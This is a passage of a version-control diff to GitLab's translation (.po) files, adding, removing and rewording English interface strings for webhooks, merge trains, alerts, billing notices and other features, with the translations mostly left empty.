msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "ÐÑма да можете да изтеглÑте или изпраща
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 50fd42f6de3..5937e8df6c1 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
